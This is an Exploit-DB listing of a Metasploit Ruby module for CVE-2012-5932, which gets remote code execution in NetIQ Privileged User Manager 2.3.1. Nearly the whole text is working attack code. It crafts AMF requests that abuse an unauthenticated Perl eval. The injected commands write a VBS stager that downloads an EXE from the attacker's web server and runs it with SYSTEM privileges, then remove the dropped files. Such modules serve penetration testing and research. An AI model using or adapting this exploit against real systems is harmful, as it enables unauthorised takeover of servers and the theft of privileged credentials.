标题: NetIQ Privileged User Manager 2.3.1 - 'ldapagnt_eval()' Perl Remote Code Execution (Metasploit) EDB-ID: 22903 CVE: 2012-5932 类型: REMOTE 平台: WINDOWS 发布日期: 2012-11-22 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution',
   'Description'    => %q{
     This module abuses a lack of authorization in the NetIQ Privileged User Manager
    service (unifid.exe) to execute arbitrary perl code. The problem exists in the
    ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over
    Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
   },
   'Author'         => [
    'rgod', # Vulnerability discovery and PoC
    'juan vazquez' # Metasploit module
   ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'OSVDB', '87334'],
     [ 'BID', '56539' ],
     [ 'EDB', '22738' ],
     [ 'URL', 'http://retrogod.altervista.org/9sg_novell_netiq_ldapagnt_adv.htm' ]
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'Privileged'     => true,
   'Targets'        =>
    [
     ['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', { }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 15 2012'
  ))

  register_options(
   [
    Opt::RPORT(443),
    OptBool.new('SSL', [true, 'Use SSL', true]),
    OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60])
   ], self.class )
 end

 def check
  data = fake_login

  print_status("Sending fake login request...")

  res = send_request_cgi(
   {
    'uri'     => '/',
    'version' => '1.1',
    'method'  => 'POST',
    'ctype'   => "application/x-amf",
    'headers' => {
     "x-flash-version" => "11,4,402,278"
    },
    'data'    => data,
   })

  if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2.3.1/
   return Exploit::CheckCode::Vulnerable
  elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def on_new_session(session)
  if session.type == "meterpreter"
   session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
  end

  @dropped_files.delete_if do |file|
   win_file = file.gsub("/", "\\\\")
   if session.type == "meterpreter"
    begin
     windir = session.fs.file.expand_path("%WINDIR%")
     win_file = "#{windir}\\system32\\#{win_file}"
     # Meterpreter should do this automatically as part of
     # fs.file.rm().  Until that has been implemented, remove the
     # read-only flag with a command.
     session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
     session.fs.file.rm(win_file)
     print_good("Deleted #{file}")
     true
    rescue ::Rex::Post::Meterpreter::RequestError
     false
    end

   end
  end

 end

 # Handle incoming requests from the target
 def on_request_uri(cli, request)

  vprint_status("on_request_uri called")

  if (not @exe_data)
   print_error("A request came in, but the EXE archive wasn't ready yet!")
   return
  end

  print_good("Sending the EXE payload to the target...")
  send_response(cli, @exe_data)
  @exe_sent = true
 end

 def lookup_lhost()
  # Get the source address
  if datastore['SRVHOST'] == '0.0.0.0'
   Rex::Socket.source_address('50.50.50.50')
  else
   datastore['SRVHOST']
  end
 end

 def fake_login
  data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74"          #  ..........SPF.Ut
  data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" #  il.callModuleEx.
  data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" #  ./4...d........p
  data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" #  kt...Credentials
  data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" #  ...name...test..
  data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" #  passwd...test...
  data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" #  ..method...login
  data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" #  ..module...auth.
  data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";                    #  .uid.......
  return data
 end

 def exploit

  data = fake_login

  print_status("Sending fake login request...")
  res = send_request_cgi(
   {
    'uri'     => '/',
    'version' => '1.1',
    'method'  => 'POST',
    'ctype'   => "application/x-amf",
    'headers' => {
     "x-flash-version" => "11,4,402,278"
    },
    'data'    => data,
   })

  if not res or res.code != 200 or res.body !~ /svc(.+)/
   fail_with(Exploit::Failure::Unknown, 'Fake Login failed, svc not identified')
  end

  svc = $1
  svc_length = svc[1, 2].unpack("n")[0]
  svc_name = svc[3, svc_length]
  vprint_status("SVC Found: #{svc_name}")

  print_status("Generating the EXE Payload...")
  @exe_data = generate_payload_exe
  exename = Rex::Text.rand_text_alpha(1+rand(2))

  print_status("Setting up the Web Service...")
  datastore['SSL'] = false
  resource_uri = '/' + exename + '.exe'
  service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
  print_status("Starting up our web service on #{service_url} ...")
  start_service({'Uri' => {
   'Proc' => Proc.new { |cli, req|
    on_request_uri(cli, req)
   },
   'Path' => resource_uri
  }})
  datastore['SSL'] = true

  # http://scriptjunkie1.wordpress.com/2010/09/27/command-stagers-in-windows/
  vbs_stage = Rex::Text.rand_text_alpha(3+rand(5))
  code = "system(\"echo Set F=CreateObject(\\\"Microsoft.XMLHTTP\\\") >%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo F.Open \\\"GET\\\",\\\"#{service_url}\\\",False >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo F.Send >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo Set IA=CreateObject(\\\"ADODB.Stream\\\") >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo IA.Type=1 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo IA.Open >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo IA.Write F.responseBody >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo IA.SaveToFile \\\"%WINDIR%\\system32\\#{exename}.exe\\\",2 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"echo CreateObject(\\\"WScript.Shell\\\").Run \\\"%WINDIR%\\system32\\#{exename}.exe\\\" >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
  code << "system(\"#{vbs_stage}.vbs\");"
  register_file_for_cleanup("#{vbs_stage}.vbs")
  register_file_for_cleanup("#{exename}.exe")
  identity = ""

  data = "\x00\x00\x00\x00\x00\x01"
  data << "\x00\x14"
  data << "SPF.Util.callModuleA"
  data << "\x00\x00"
  data << "\x00"
  data << "\x00\x02"
  data << "\x0a\x0a"
  data << "\x00\x00\x00\x01\x03"
  data << "\x00\x03"
  data << "pkt"
  data << "\x03"
  data << "\x00\x06"
  data << "method"
  data << "\x02"
  data << "\x00\x04"
  data << "eval"
  data << "\x00\x06"
  data << "module"
  data << "\x02"
  data << "\x00\x08"
  data << "ldapagnt"
  data << "\x00\x04"
  data << "Eval"
  data << "\x03"
  data << "\x00\x07"
  data << "content"
  data << "\x02"
  data << [code.length + 4].pack("n")
  data << code
  data << "\x0a\x0a1;\x0a\x0a1;"
  data << "\x00\x00\x09"
  data << "\x00\x00\x09"
  data << "\x00\x03"
  data << "uid"
  data << "\x02"
  data << [identity.length].pack("n")
  data << identity
  data << "\x00\x00\x09"
  data << "\x00\x08"
  data << "svc_name"
  data << "\x02"
  data << [svc_name.length].pack("n")
  data << svc_name
  data << "\x00\x00\x09"

  print_status("Sending the eval code request...")

  res = send_request_cgi(
   {
    'uri'     => '/',
    'version' => '1.1',
    'method'  => 'POST',
    'ctype'   => "application/x-amf",
    'headers' => {
     "x-flash-version" => "11,4,402,278"
    },
    'data'    => data,
   })

  if res
   fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the code eval request")
  else
   print_good("There wasn't a response, but this is the expected behavior...")
  end

  # wait for the data to be sent
  print_status("Waiting for the victim to request the EXE payload...")

  waited = 0
  while (not @exe_sent)
   select(nil, nil, nil, 1)
   waited += 1
   if (waited > datastore['HTTP_DELAY'])
    fail_with(Exploit::Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?")
   end
  end

  print_status("Giving time to the payload to execute...")
  select(nil, nil, nil, 20)

  print_status("Shutting down the web service...")
  stop_service

 end
end URL: https://www.exploit-db.com/exploits/22903